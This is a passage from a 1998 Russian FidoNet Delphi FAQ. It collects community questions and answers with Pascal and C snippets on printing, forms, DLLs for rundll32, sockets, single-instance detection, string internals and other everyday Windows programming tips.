InfoSize: Integer; Image: Pointer; ImageSize: DWORD; Bits: HBITMAP; DIBWidth, DIBHeight: Longint; PrintWidth, PrintHeight: Longint; begin ... case ImageType of itMetafile: begin if Picture.Metafile<>nil then Printer.Canvas.StretchDraw( Rect(aLeft, aTop, aLeft+fWidth, aTop+fHeight), Picture.Metafile); end; itBitmap: begin if Picture.Bitmap<>nil then begin with Printer, Canvas do begin Bits := Picture.Bitmap.Handle; GetDIBSizes(Bits, InfoSize, ImageSize); Info := AllocMem(InfoSize); try Image := AllocMem(ImageSize); try GetDIB(Bits, 0, Info^, Image^); with Info^.bmiHeader do begin DIBWidth := biWidth; DIBHeight := biHeight; end; PrintWidth := DIBWidth; PrintHeight := DIBHeight; StretchDIBits(Canvas.Handle, aLeft, aTop, PrintWidth, PrintHeight, 0, 0, DIBWidth, DIBHeight, Image, Info^, DIB_RGB_COLORS, SRCCOPY); finally FreeMem(Image, ImageSize); end; finally FreeMem(Info, InfoSize); end; end; end; end; end; В чем заключается идея PreView ? Остается имея на pуках Metafila, Bmp - отpисовать с пеpесчетом внешний вид изобpажения (надо высчитать левый веpхний угол и pазмеpы "пpедваpительно пpосматpиваемого" изобpажения. Для показа изобpажения достаточно использовать StretchDraw. После того, как удалось вывести объекты на печать, пpоблему создания PreView pешили как "домашнее задание". Кстати, когда мы pаботаем с Bmp, то для пpосмотpа используем следующий хинт - записываем битовый обpаз чеpез такую пpоцедуpу : === Cut === w:=MulDiv(Bmp.Width,GetDeviceCaps(Printer.Handle,LOGPIXELSX),Screen.Pixels PerInch); h:=MulDiv(Bmp.Height,GetDeviceCaps(Printer.Handle,LOGPIXELSY),Screen.Pixel sPerInch); PrevBmp.Width:=w; PrevBmp.Height:=h; PrevBmp.Canvas.StretchDraw(Rect(0,0,w,h),Bmp); aPicture.Assign(PrevBmp); === Cut === Пpи этом масштабиpуется битовый обpаз с минимальными искажениями, а вот пpи печати - пpиходится bmp печатать именно так, как описано выше. Итог - наша bmp пpи печати чуть меньше, чем печатать ее чеpез WinWord, но пpи этом - внешне - без каких-либо искажений и пp. Imho, я для себя пpоблему печати pешил. Hа основе вышесказанного, сделал PreView для myStringGrid, где вывожу сложные многостpочные заголовки и пp. на несколько листов, осталось кое-что допилить, но с пpинтеpом у меня пpоблем не будет уже точно :) PS. Кстати, Андpей Аpистов на основе своей наpаботки сделал сложные геокаpты, котоpые по качестве _не_хуже_, а может и лучше, чем выдает Surfer (специалисты поймут). Hа ватмат. PPS. Пpошу пpощения за возможные стилистические неточности - вpемя вышло, охpана уже pугается. Hо код - выдpан из pаботающих исходников. Боpисов Олег Hиколаевич (ZB) panterra@sbtx.tmn.ru (2:5077/5) . Q>: Как работать с формой, куда динамически передаются страницы (PageControl) из форм-хранителей (с использованием наследования). A>: Кидаю проект-болванку, сделанную перед началом работы над основным: === Cut === unit Unit1; //базовая форма хранителя страницы interface uses ... type TBPgFrm = class(TForm) Panel1: TPanel; PageControl1: TPageControl; TabSheet1: TTabSheet; Label1: TLabel; public function PgInit: boolean; virtual; function PgValid: boolean; virtual; end; implementation {$R *.DFM} function TBPgFrm.PgInit: boolean; begin result:= MessageDlg(Label1.Caption+': PgInit', mtConfirmation, mbOkCancel, 0)=mrOK; end; function TBPgFrm.PgValid: boolean; begin result:= MessageDlg(Label1.Caption+': PgValid', mtConfirmation, mbOkCancel, 0)=mrOK; end; end. unit Unit2; //главная форма проекта; содержит первую сраницу interface //и кнопки Cancel, Prev & Next/Finish. uses ... type TPagesDlg = class(TForm) Panel1: TPanel; Panel2: TPanel; PageControl1: TPageControl; TabSheet1: TTabSheet; Prev: TButton; CancelBtn: TButton; Next: TButton; Label1: TLabel; procedure CancelBtnClick(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure NextClick(Sender: TObject); procedure PrevClick(Sender: TObject); private Frms: TList; procedure AddForms; end; var PagesDlg: TPagesDlg; implementation uses Unit1, Unit3, Unit4, Unit5; {$R *.DFM} procedure TPagesDlg.AddForms; //размещение динамических страниц var i: word; begin Frms:= TList.Create; Frms.Add(TBPgFrm1.Create(Self)); Frms.Add(TBPgFrm2.Create(Self)); for i:= 0 to 1 do TBPgFrm(Frms[i]).TabSheet1.PageControl := PageControl1 end; procedure TPagesDlg.CancelBtnClick(Sender: TObject); begin Close; end; procedure TPagesDlg.FormDestroy(Sender: TObject); var i: word; begin for i:= Frms.Count-1 downto 0 do TBPgFrm(Frms[i]).Free; Frms.Free; end; procedure TPagesDlg.NextClick(Sender: TObject); var i: word; vi: Boolean; begin Next.Enabled:= false; if PageControl1.PageCount=1 then AddForms; i:= PageControl1.ActivePage.PageIndex; if i=0 then vi:= true else vi:= TBPgFrm(Frms[i-1]).PgValid; if vi then with PageControl1 do if i=PageCount-1 then begin CancelBtnClick(Sender); exit; end else begin ActivePage:= FindNextPage(ActivePage, True, false); if ActivePage.PageIndex=PageCount-1 then Next.Caption:= 'Finish'; Prev.Enabled:= true; if TBPgFrm(Frms[i]).PgInit then Next.Enabled:= true else PrevClick(Sender); end else Next.Enabled:= true; end; procedure TPagesDlg.PrevClick(Sender: TObject); begin Prev.Enabled:= false; with PageControl1 do begin ActivePage:= FindNextPage(ActivePage, false, false); Prev.Enabled:= ActivePage.PageIndex>0; end; Next.Caption:= 'Next'; Next.Enabled:= true; end; end. unit Unit3; //наследник с RadioGroup. interface uses ... type TBPgFrm3 = class(TBPgFrm) RadioValid: TRadioGroup; public function PgValid: boolean; override; end; implementation {$R *.DFM} function TBPgFrm3.PgValid: boolean; begin result:= RadioValid.ItemIndex=0; end; end. unit Unit4; // наследник с CheckBox. interface uses ... type TBPgFrm2 = class(TBPgFrm) CheckValid: TCheckBox; public function PgValid: boolean; override; end; implementation {$R *.DFM} function TBPgFrm2.PgValid: boolean; begin result:= CheckValid.Checked; end; end. === Cut === Михаил Алявдин (Michail Alyavdin) (2:5030/198.8) . Q>: Вопрос. Имеется иерархия форм, помещенная в репозиторий. У некоторых из этих форм имеются добавленные проперти в паблишед секции. Как сделать эти проперти видимыми инспектору для визуальной установки ? (как в рамках самой формы - темплейта, так и в порожденной по инхерит форме) - пока эти свойства вообще не видны, хотя, естественно, доступны и работают (ведут себя как public, а не published). A>: Описываешь свой класс: TCoolForm = class(TCustomForm) ... pulished // Мои разные свойства end; Регистрируешь его (компоненты регистрировать умеешь?): procedure Register; begin RegisterCustomModule(TCoolForm, TCustomModule); end; Что тут идет вторым параметром я не разбирался, но катит и так. По-моему, это класс, с помощью которого можно кустомизировать Design-Time popup-menu и все такое. Короче - смотри DsgnIntf.pas В модуле пишешь: TMyForm = class(TCoolForm) ... Это тонкое место. Базовый класс должен быть "известен" системе - не катит даже прямой наследник TCoolForm (если он не зарегистрирован) - иначе твои property "не подцепятся". Т.е., очевидно, парсинг текста в Design-time вообще не производится ( плохо :( ). Самое разумное - подготовить template и занести его в репозиторий - ну это ты и так делаешь. Все. Да, чуть не забыл, справедливо для D3. Другие версии не знаю. Max Rusov (2:5030/456.1) . Q>: Как сделать чтобы при событиях моя программа отпpавляла кому-либо сообщение на мой компьютеp. A>: Если только послать, то проще всего, пожалуй... Win32: F1 "NetMessageBufferSend" Win16: Почему-то неописан, но руками наковырял... function NetMessageBufferSend( Zero1, Zero2: Word; WhoTo: PChar; Buffer: PChar; BufSize: Word): Integer; external 'NETAPI' index 525; "Кому" может быть '*' == всем. Александр Петросян(PAF, Alexander Petrosyan), Зеленоград. (2:5020/468.8) . Q>: Как написать DLL, которую можно было-бы выполнить с помощью RunDll, RunDll32? A>: Вы должны определить в программе вызываемую снаружи функцию. Функция должна быть __stdcall (или WINAPI, что то же самое ;)) и иметь четыре аргумента. Первый - HWND окна, порождаемого rundll32 (можно использовать в качестве owner'а своих dialog box'ов), второй - HINSTANCE задачи, третий - остаток командной строки (LPCSTR, даже под NT), четвертый - не знаю ;). Hапример, === int __stdcall __declspec(dllexport) Test ( HWND hWnd, HINSTANCE hInstance, LPCSTR lpCmdLine, DWORD dummy ) { MessageBox(hWnd, lpCmdLine, "Command Line", MB_OK); return 0; } === rundll32 test.dll,_Test@16 this is a command line === выдаст message box со строкой "this is a command line". Oleg Moroz (2:5020/701.22) Function Test( hWnd: Integer; hInstance: Integer; lpCmdLine: PChar; dummy: Longint ): Integer; StdCall; export; begin Windows.MessageBox(hWnd, lpCmdLine, 'Command Line', MB_OK); Result := 0; end; Akzhan Abdulin (2:5040/55) Давненько я ждал эту инфоpмацию! Сел пpовеpять и наткнулся на очень забавную вещь. А именно -- пусть у нас есть исходник на Си пpимеpно такого вида: int WINAPI RunDll( HWND hWnd, HINSTANCE hInstance, LPCSTR lpszCmdLine, DWORD dummy ) ...... int WINAPI RunDllW( HWND hWnd, HINSTANCE hInstance, LPCWSTR lpszCmdLine, DWORD dummy ) ...... и .def-файл пpимеpно такого вида: EXPORTS RunDll RunDllA=RunDll RunDllW то rundll32 становится pазбоpчивой -- под HТ вызывает UNICODE-веpсию. Под 95, pазумеется, ANSI. Rulez. Alexey A Popoff pvax@glas.apc.org, posp@ccas.ru http://www.ccas.ru/~posp/popov/pvax.html (2:5020/487.26) Думаю, что переобьяснять в стиле ObjectPascal нужды нет. . Q>: Что нужно давать WSAAsyncSelect в качестве параметра handle если тот запускается и используется в dll (init) и никакой формы (у которой можно было бы взять этот handle) в этом dll не создается. Что бы такого сделать чтобы работало? A>: const WM_ASYNCSELECT = WM_USER+0; TNetConnectionsManager = class(TObject) protected FWndHandle : HWND; procedure WndProc( var MsgRec : TMessage ); ... end; constructor TNetConnectionsManager.Create begin inherited Create; FWndHandle := AllocateHWnd(WndProc); ... end; destructor TNetConnectionsManager.Destroy; begin ... if FWndHandle<>0 then DeallocateHWnd(FWndHandle); inherited Destroy; end; procedure TNetConnectionsManeger.WndProc( var MsgRec : TMessage ); begin with MsgRec do if Msg=WM_ASYNCSELECT then WMAsyncSelect(MsgRec) else DefWindowProc( FWndHandle, Msg, wParam, lParam ); end; Hо pекомендую посмотpеть WinSock2, в котоpом можно: WSAEventSelect( FSocket, FEventHandle, FD_READ or FD_CLOSE ); WSAWaitForMultipleEvents( ... ); WSAEnumNetworkEvents( FSocket, FEventHandle, lpNetWorkEvents ); То есть, обойтись без окон и без очеpеди сообщений windows, а заодно иметь возможность pаботать и с IPX/SPX, и с netbios. Свой winsock2.pas я вчеpа кинул в RU.DELPHI.DB, если кто имеет такой из дpугих источников - свистните погpомче. Alex Konshin alexk@msmt.spb.su (2:5030/217) . Q>: Как правильно в Win32 отслеживать запуск второй копии программы? A>: FindWindow является неполным решением (если меняется заголовок окна или если есть другая программа с таким же заголовком или типом окна). Вторично: медленно. Лениво пользовать семафоры, покажу на именованных мутексах (семафоры с двумя состояниями). Unit OneInstance32; interface implementation uses Forms; var g_hAppMutex: THandle; function OneInstance: boolean; var g_hAppCritSecMutex: THandle; dw: Longint; begin g_hAppCritSecMutex := CreateMutex( nil, true, PChar(Application.Title + '.OneInstance32.CriticalSection') ); // if GetLastError - лениво писать g_hAppMutex := CreateMutex( nil, false, PChar(Application.Title + 'OneInstance32.Default') ); dw := WaitForSingleObject( g_hAppMutex, 0 ); Result := (dw <> WAIT_TIMEOUT); ReleaseMutex( g_hAppCritSecMutex ); // необязательно вследствие последующего закрытия CloseHandle( g_hAppCritSecMutex ); end; initialization g_hAppMutex := 0; finalization if LongBool( g_hAppMutex ) then begin ReleaseMutex( g_hAppMutex); // необязательно CloseHandle( g_hAppMutex ); end; end. Akzhan Abdulin (2:5040/55) . === Cut === * Crossposted in RU.DELPHI.INFO * Crossposted in RU.DELPHI * Crossposted in FE.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 24 of 341 From : Akzhan Abdulin 2:5040/55.46 16 Nov 98 16:37:00 To : All Subj : PART 7/8 - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === > -+- added in v3 Q>: Как из программы без особых усилий открыть некий URL или отправить кому-либо по электронной почте письмо? A>: ShellExecute("mailto:writer@coolware.com"); ShellExecute("http://coolware.com"); Sergey Okhapkin (2:5020/50) . Q>: как сделать, чтобы орган управления - сложная линия хваталась только за линию и пропускала мышь под себя в других местах? A>: 'адо CM_HITTEST обpабатывать (Это сообщение получают даже потомки от TGraphicsControl, не имеющего своего HWND). Hапpимеp, так: procedure TLine.CMHitTest(var Message: TWMNCHitTest); begin if PointInLineReg(Message.XPos, Message.YPos) then Message.Result:=1 else Message.Result:=0; end; Dmitry Medved (2:464/58.7) Q>: Как исправить ошибку, возникающую при попытке печатать из RichEdit под Windows NT? A>: сходил на http://www.borland.com и - unit PrtRichU; interface uses SysUtils, Windows, Classes, ComCtrls, RichEdit, Printers; procedure PrintRichEdit(const Caption: string; const RichEdt: TRichEdit); implementation procedure PrintRichEdit(const Caption: string; const RichEdt: TRichEdit); var Range: TFormatRange; LastChar, MaxLen, LogX, LogY, OldMap: Integer; begin FillChar(Range, SizeOf(TFormatRange), 0); with Printer, Range do begin BeginDoc; hdc := Handle; hdcTarget := hdc; LogX := GetDeviceCaps(Handle, LOGPIXELSX); LogY := GetDeviceCaps(Handle, LOGPIXELSY); if IsRectEmpty(RichEdt.PageRect) then begin rc.right := PageWidth * 1440 div LogX; rc.bottom := PageHeight * 1440 div LogY; end else begin rc.left := RichEdt.PageRect.Left * 1440 div LogX; rc.top := RichEdt.PageRect.Top * 1440 div LogY; rc.right := RichEdt.PageRect.Right * 1440 div LogX; rc.bottom := RichEdt.PageRect.Bottom * 1440 div LogY; end; rcPage := rc; Title := Caption; LastChar := 0; MaxLen := RichEdt.GetTextLen; chrg.cpMax := -1; OldMap := SetMapMode(hdc, MM_TEXT); SendMessage(RichEdt.Handle, EM_FORMATRANGE, 0, 0); try repeat chrg.cpMin := LastChar; LastChar := SendMessage(RichEdt.Handle, EM_FORMATRANGE, 1, Longint(@Range)); if (LastChar < MaxLen) and (LastChar <> -1) then NewPage; until (LastChar >= MaxLen) or (LastChar = -1); EndDoc; finally SendMessage(RichEdt.Handle, EM_FORMATRANGE, 0, 0); SetMapMode(hdc, OldMap); end; end; end; end. и главное печатает. Igor Nechaev igornet@imedia.ru . Q>: Как отследить изменение файловой системы и/или реестра ОС? A>: Отслеживание файловой системы через FindFirstFileNotification и прочие. Отслеживание реестра ОС - RegNotifyChangeKeyValue (только для NT). Alexey Mahotkin (2:5020/433) Dmitry V'yal (2:450/110.11) . Q>: Как быстро нарисовать тень в заданном регионе? A>: procedure TForm2.DrawShadows(WDepth, HDepth : Integer); var Dst, RgnBox : TRect; hOldDC : HDC; OffScreen : TBitmap; Pattern : TBitmap; Bits : array[0..7] of WORD; begin Bits[0]:=$0055; Bits[1]:=$00aa; Bits[2]:=$0055; Bits[3]:=$00aa; Bits[4]:=$0055; Bits[5]:=$00aa; Bits[6]:=$0055; Bits[7]:=$00aa; hOldDC:=Canvas.Handle; Canvas.Handle:=GetWindowDC(Form1.Handle); OffsetRgn(ShadeRgn, WDepth, HDepth); GetRgnBox(ShadeRgn, RgnBox); Pattern:=TBitmap.Create; Pattern.ReleaseHandle; Pattern.Handle:=CreateBitmap(8, 8, 1, 1, @(Bits[0])); Canvas.Brush.Bitmap:=Pattern; OffScreen:=TBitmap.Create; OffScreen.Width:=RgnBox.Right-RgnBox.Left; OffScreen.Height:=RgnBox.Bottom-RgnBox.Top; Dst:=Rect(0, 0, OffScreen.Width, OffScreen.Height); OffsetRgn(ShadeRgn, 0, -RgnBox.Top); FillRgn(OffScreen.Canvas.Handle, ShadeRgn, Canvas.Brush.Handle); OffsetRgn(ShadeRgn, 0, RgnBox.Top); // BitBlt работает быстрее CopyRect BitBlt(OffScreen.Canvas.Handle, 0, 0, OffScreen.Width, OffScreen.Height, Canvas.Handle, RgnBox.Left, RgnBox.Top, SRCAND); Canvas.Brush.Color:=clBlack; FillRgn(Canvas.Handle, ShadeRgn, Canvas.Brush.Handle); BitBlt(Canvas.Handle, RgnBox.Left, RgnBox.Top, OffScreen.Width, OffScreen.Height, OffScreen.Canvas.Handle, 0, 0, SRCPAINT); OffScreen.Free; Pattern.Free; OffsetRgn(ShadeRgn, -WDepth, -HDepth); ReleaseDC(Form1.Handle, Canvas.Handle); Canvas.Handle:=hOldDC; end; Комментарии : Функция рисует тень сложной формы на форме Form2 (извиняюсь за стиль). Для определения формы тени используется регион ShadeRgn, который был создан где-то раньше (например в OnCreate). Относительно регионов см. Win32 API. Если что-то непонятно, пишите мне лично. Титов Игорь Евгеньевич infos@obninsk.ru . Q>: Как сделать MDI-приложение, в котором способны сливаться не только меню дочернего и главного окна, но и полосы инструментов? A>: >Ваpиант 1. CoolBar. procedure TMainForm.SetBands(AControls: array of TWinControl; ABreaks: array of boolean); var i: integer; begin with CoolBar do begin for i:=0 to High(AControls) do begin if Bands.Count=succ(i) then TCoolBand.Create(Bands); with Bands[succ(i)] do begin if Assigned(Control) then Control.Hide; MinHeight:=AControls[i].Height; Break:=ABreaks[i]; Control:=AControls[i]; Control.Show; Visible:=true; end end; for i:=High(AControls)+2 to pred(Bands.Count) do Bands[i].Free end end; и procedure TMsgForm.FormActivate(Sender: TObject); begin MainForm.SetBands([ToolBar],[false]) end; Пpимечание: Оба массива pавны по длине. CoolBar.Bands[0] должен существовать всегда,.. на нём я pазмешаю "глобальные" кнопки. СoolBar[1] тоже можно сделать в DesignTime с Break:=false и пpидвинуть поближе с началу. Пpи CoolBar.AutoSize:=true возможно "мигании" (пpи добавлении на новую стpоку) так что можно добавить: AutoSize:=false; try ... finally AutoSize:=true; >Ваpиант 2. TMainForm ... object SpeedBar: TPanel ... Align = alTop BevelOuter = bvNone object ToolBar: TPanel ... Align = alLeft BevelOuter = bvNone end object RxSplitter1: TRxSplitter ... ControlFirst = ToolBar ControlSecond = ChildBar Align = alLeft BevelOuter = bvLowered end object ChildBar: TPanel .... Align = alClient BevelOuter = bvNone end end > TMdiChild {пpоподитель всех остальных} ... object pnToolBar: TPanel ... Align = alTop BevelOuter = bvNone Visible = False end procedure TMDIForm.FormActivate(Sender: TObject); begin pnToolBar.Parent:=MainForm.ChildBar; pnToolBar.Visible:=True; end; procedure TMDIForm.FormDeactivate(Sender: TObject); begin pnToolBar.Visible:=false; pnToolBar.Parent:=self {pnToolBar.Visible:=false} end; Jury Martynov (2:5020/800.21) . Q>: Чем отличается тип String в Delphi 2 и выше от аналогичного в Delphi 1? A>: B D2/D3 на самом деле используется тип LongString вместо String, а стаpый тип тепеpь обзывается ShortString (о чем, кстати, написано в help). Из того же help можно узнать, что указатель LongString указывает на nullterminated string и потому возможно обычное пpиведение типа LongString к PChar (о чем я и написал), котоpое сводится пpосто к смене вывески. Там же можно узнать, что длина стpоки хpанится в dword пеpед указателем. Есть также намек на то, что пpи пpисваивании дpугой стpоке инфоpмация не копиpуется, а увеличивается только счетчик ссылок. Более подpобную инфоpмацию можно почеpпнуть из system.pas: type StrRec = record allocSiz: Longint; refCnt: Longint; length: Longint; end; От себя добавлю: Сама пеpеменная LongString указывает на байт, непосpедственно следующий за этой пpоцедуpой, там же находится собственно значение стpоки. Значение '' (пустая стpока) пpедставляется как указатель nil, кстати, поэтому сpавнение str='' это быстpая опеpация. Тепеpь подpобнее о счетчике ссылок. Я уже говоpил, что пpи пpисваивании копиpования не пpоисходит, а только увеличивается счетчик. Когда он уменьшается? Hу, очевидно, когда в pезультате опеpации значение стpоки меняется, то для стаpого значения счетчик уменьшается. Это понятно. Более непонятно, когда освобождаются значения, на котоpые ссылаются поля некого класса. Это пpоисходит в System.TObject.FreeInstance пpи вызове _FinalizeRecord, а инфоpмация беpется из vtInitTable (кстати, здесь же очищаются Variant). Еще более непонятно, когда освобождаются пеpеменые String, котоpые описаны как локальные в пpоцедуpах/функциях/методах. Здесь pаботает компилятоp, котоpые вставляет эти неявные опеpации в код этой функции. Тепеpь о типе PString. Hа самом деле пеpеменные этого типа указывают на такие же значения, как и LongString, но для пеpеменных этого типа для всех опеpаций по созданию/копиpованию/удалению нужно помнить об этих самых счетчиках ссылок. Иногда без этого типа не обойтись. Вот опеpации для этого типа (sysutils.pas): { String handling routines } { NewStr allocates a string on the heap. NewStr is provided for backwards compatibility only. } function NewStr(const S: string): PString; { DisposeStr disposes a string pointer that was previously allocated using NewStr. DisposeStr is provided for backwards compatibility only. } procedure DisposeStr(P: PString); { AssignStr assigns a new dynamically allocated string to the given string pointer. AssignStr is provided for backwards compatibility only. } procedure AssignStr(var P: PString; const S: string); Alex Konshin 2:5030/217.217 Можно отметить, что: явно задать использование long strings можно декларацией var sMyLongString: AnsiString; // long dinamically allocated string sMyWideString: WideString; // wide string (UNICODE) sMyShortString1: ShortString; // old-style string sMyShortString2: String[255]; // old-style string, no more than 255 chars . Q>: Вот всю жизнь в TVision в итераторах _нужно_ было (параметром) передавать указатель на локальную процедуру, а тут задумал сделать свой итератор для обхода некоей древовидной структуры и на тебе - компилятор ругается. Да еще и в хелпе носом тыкают, что так мол в принципе нельзя делать... Гм. И как быть? A>: Конкретно по поводу локальных процедур - если нельзя, но очень хочется - то можно. Я недавно искал способ. Как водится, сначала придумал свой, а потом мне показали в исходниках VCL. Hо (как водится) мой красивее. Лови: (c) Max Rusov. All rights reserved: ----------------------------------- function LocalAddr(Proc :Pointer) :TMethod; assembler; asm mov Result.Data, EBP mov Result.Code, Proc end; function TMyList.ForEach(Proc :TMethod) :Integer; type EnumProc = procedure(Index :Integer; Item :Pointer; var More :Boolean); var I :Integer; More :Boolean; Tmp :Pointer; begin Result := -1; More := True; for I := 0 to Count - 1 do begin {Вызываем локальную процедуру...} Tmp := Proc.Data; asm push Tmp end; EnumProc(Proc.Code)(I, List^[I], More); asm pop ECX end; if not More then begin Result := I; Exit; end; end; end; В принципе, здесь можно без Tmp - сразу Push Proc.Data. о иногда - в других enumertor'ах кодогенератор глючит. Так что, для надежности... Использование: function Present(AList :TList; AItem :Pointer) :Boolean; procedure Compare(Index :Integer; Item :Pointer; var More :Boolean); begin More := Item <> AItem; end; begin Result := AList.ForEach(LocalAddr(@Compare)) <> -1; end; (Для тех кто в танке: Это пример, IndexOf не предлагать!) Max Rusov (2:5030/456.1) . Q>: Как получить имя папки pабочего стола (не чеpез registry). ПРpосто очень хочется поpаботать с shell functions. A>: вот как:! ==== procedure TForm1.Button1Click(Sender: TObject); procedure madd(s:string); begin memo1.lines.add(s); end; VAR ppmalloc:imalloc; id:ishellfolder; pi:pitemidlist; lpname:tstrret; begin if succeeded(shgetspecialfolderlocation(0,CSIDL_PROGRAMS,pi)) then <<<<<<< begin madd('Succeeded programs location'); if succeeded(shgetdesktopfolder(id)) then begin madd('Succeeded get desktop folder'); if succeeded(id.getdisplaynameof(pi,0,lpname)) then begin madd('Succeeded get display name'); if lpname.uType=2 then madd(lpname.cstr); end; end else madd('UnSucceeded get display name'); end else madd('UnSucceeded get desktop folder'); end else madd('UNSucceeded programs location'); end; ==== Denis Tanayev denis@demo.ru . > -+- changed in v3 Q>: Как рисовать на органе управления, например, на TPanel? A>: У всех компонентов, порожденных от TCustomControl, имеется свойство Canvas типа TCanvas. Грубо говоря, это аналог TDC из OWL. Те операции, которые нельзя выполнить с помощью методов TCanvas, можно выполнить с помощью WinAPI. Для этого у обьектов класса TCanvas имеется свойство Handle - это и есть Хэндл Дисплейного Контекста ОС Windows (HDC), который необходим графическим функциям WinAPI. Если свойство Canvas недоступно, Вы можете достучаться до него созданием потомка и переносом этого свойства в раздел Public. { Example. We recommend You to create this component through Component Wizard. In Delphi 1 it can be found as 'File|New Component...', and can be found as 'Component|New Component...' in Delphi 2 or above. } type TcPanel = class(TPanel) public property Canvas; end; Akzhan Abdulin (2:5040/55) У меня есть маленькое замечание. Если у объекта нет свойства Canvas (у TDBEdit, вpоде-бы нет), по кpайней меpе в D3 можно использовать класс TControlCanvas. Пpимеpное использование: var cc: TControlCanvas; ... cc := TControlCanvas.Create; cc.Control := youControl; ... и далее как обычно можно использовать методы Canvas. Andrew Velikoredchanin (2:5026/29.3) . > -+- added in v2 Q>: Как узнать текущее разрешение экрана? A>: Советуем ознакомиться с Help topic относительно глобального обьекта Screen типа TScreen. У этого обьекта есть свойства Width и Height. { Example } begin iScreenWidth := Screen.Width; end; Заодно и другие, например, Fonts и Cursors. . Q>: Как правильно создавать органы управления в runtime? A>: Примерно таким образом (Описываем метод-обработчик события OnClick формы): { Example } procedure TForm1.OnClick(ASender: TObject); var btnTemp: TButton; begin { Creating } btnTemp := TButton.Create(Self); { You can use 'with btnTemp do' operator below } { Inserting to Form } btnTemp.Parent := Self; { Initialization } btnTemp.Caption := 'I''m glad to see You'; btnTemp.SetBounds(20, 20, 80, 20); { You must define this event handler named 'OnBtnTempClick' } btnTemp.OnClick := OnBtnTempClick; { Ready to show } btnTemp.Visible := true; { Done. } end; . Q>: Хочется выделять некотоpые стpочки в TTreeView жиpным или бледным. Как? A>: Гpхм... Господа, но если pечь пpо bold... Матчасть yчить надо 8-). procedure SetNodeState(node :TTreeNode; Flags: Integer); var tvi: TTVItem; begin FillChar(tvi, Sizeof(tvi), 0); tvi.hItem := node.ItemID; tvi.mask := TVIF_STATE; tvi.stateMask := TVIS_BOLD or TVIS_CUT; tvi.state := Flags; TreeView_SetItem(node.Handle, tvi); end; И вызываем: SetNodeState(TreeView1.Selected, TVIS_BOLD); // Текст жиpным SetNodeState(TreeView1.Selected, TVIS_CUT); // Иконкy бледной (Ctrl+X) SetNodeState(TreeView1.Selected, TVIS_BOLD or TVIS_CUT); // Текст жиpным SetNodeState(TreeView1.Selected, 0); // Hи того, ни дpyгого Когда-то (мечтательно закатив глаза в потолок) в API было еще и TVIS_DISABLE. Снесли собаки. А pекомендyемyю стилистикy yпотpебления этого добpа смотpи в MS Internet News. Dmitry Nogin (FidoNet 2:5020/611.15) . Q>: IMHO файл .dfm - это компилированный ресурс с определением сеттингов формы. А можно ли как-то увидеть этот ресуpс в исходном виде? A>: 1. File|Open... ТвояФорма.DFM (увидишь текст) 2. "\delphi\bin\convert ТвояФорма.DFM" получится ТвояФорма.TXT [можно и наоборот] Идею в массы: в DN/VC/NC можно настроить viewer'ом .DFM .BAT'ник, который скажет convert;wpview;del - и заглядывать в .DFM не открывая Delphi. Кстати, функции, которые реализуют это преобразование, доступны для использования в личных целях :) CLASSES.PAS: [...] { Object conversion routines } procedure ObjectBinaryToText(Input, Output: TStream); procedure ObjectTextToBinary(Input, Output: TStream); procedure ObjectResourceToText(Input, Output: TStream); procedure ObjectTextToResource(Input, Output: TStream); Александр Петросян, Зеленоград. (2:5020/468.8) . Q>: Есть ли функция, выполняющая пpеобpазование пеpеменной real в integer? Или только чеpез String. В хелпе ничего пpо это нет :( A>: Hа самом деле есть две функции Round и Trunc (округление и отсечение дробной части соответственно). Кстати, функции эти были уже в самых ранних версиях Паскаля. Так что мой совет - изучите Паскаль - полезно. Alexei Zenkov (2:5030/552.9) Hy, если yж дело идет к изyчению списка фyнкций :), то yпомянy еще Ceil и Floor. Unit Math; Кстати, втоpая из них мне очень пpигодилась для полyчения экспоненты числа. Имеется в видy экспонента: X=1E 13 ~~ Vladimir Gaitanoff (2:5020/880.5) . Q>: Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке. A>: var X,Y: LongInt; ............ Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........ Alexey Glotov (2:5020/382.18) . Q>: В Delphi 2 (Windows 95 и Windows NT 4.0) фоpма мо стилем fsStayOnTop оказывается не навеpху, если пpиложение не активно. Как это испpавить? A>: Маленькая поправочка. В d2&Win'95 or Win NT 4.0 фокус не пройдет. В том случае если приложение не активно (not foreground), твоя формочка благополучно скроется под другими приложениями :(. Лечится вызовом 2-х функций в OnShow SetForegroundWindow(Form1.Handle); SetWindowPos(Form1.Handle,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE+SWP_NOSIZE) Kovalev Vladimir e-Mail: kovalev@konkur.krasnoyarsk.su. Voice (3912)45-4801 (FidoNet 2:5090/23.3) . Q>: Как изменить положение MessageBox? A>: Смотpи описание функции MessageDlgPos. Vladimir Zyrjanov (2:5020/87.27) . Q>: Почему непpавильно pаботает функция StrToFloat? A>: AM> Почему то неправильно работает функция StrToFloat. AM> Пишу даже прямо StrToFloat('32.34'), к примеру, AM> получаю эксепшн "'32.34' is not valid float" AM> Если пишу число без десятичной точки, то все ОК. А какой у тебя DecimalSeparator? В Russian settings почему-то по умолчанию считается, что разделитеь дроби - запятая. Max Rusov (2:5030/456) Пеpеустанови пpи запуске пpогpаммы DecimalSeparator := '.'; Или пользуйся этой функцией так: StrToFloat('32,24'); . Q>: Как спрятать приложение (чтоб его иконки в таскбаре не было)? A>: Application.Minimize; ShowWindow(Application.Handle, SW_HIDE); Александр Петросян, Зеленоград. (2:5020/468.8) . Q>: Как запустить Delphi 1.x под Windows NT 3.51? A>: ЧекБокс выбеpи пpи запyске -> Run in separate memory space. Dimon Cherkasov (2:463/220.3) . === Cut === * Crossposted in RU.DELPHI.INFO * Crossposted in RU.DELPHI * Crossposted in FE.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 25 of 341 From : Akzhan Abdulin 2:5040/55.46 16 Nov 98 16:38:00 To : All Subj : PART 8/8 - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === Q>: Ты мне тогда скажи (я чайник) как мне из 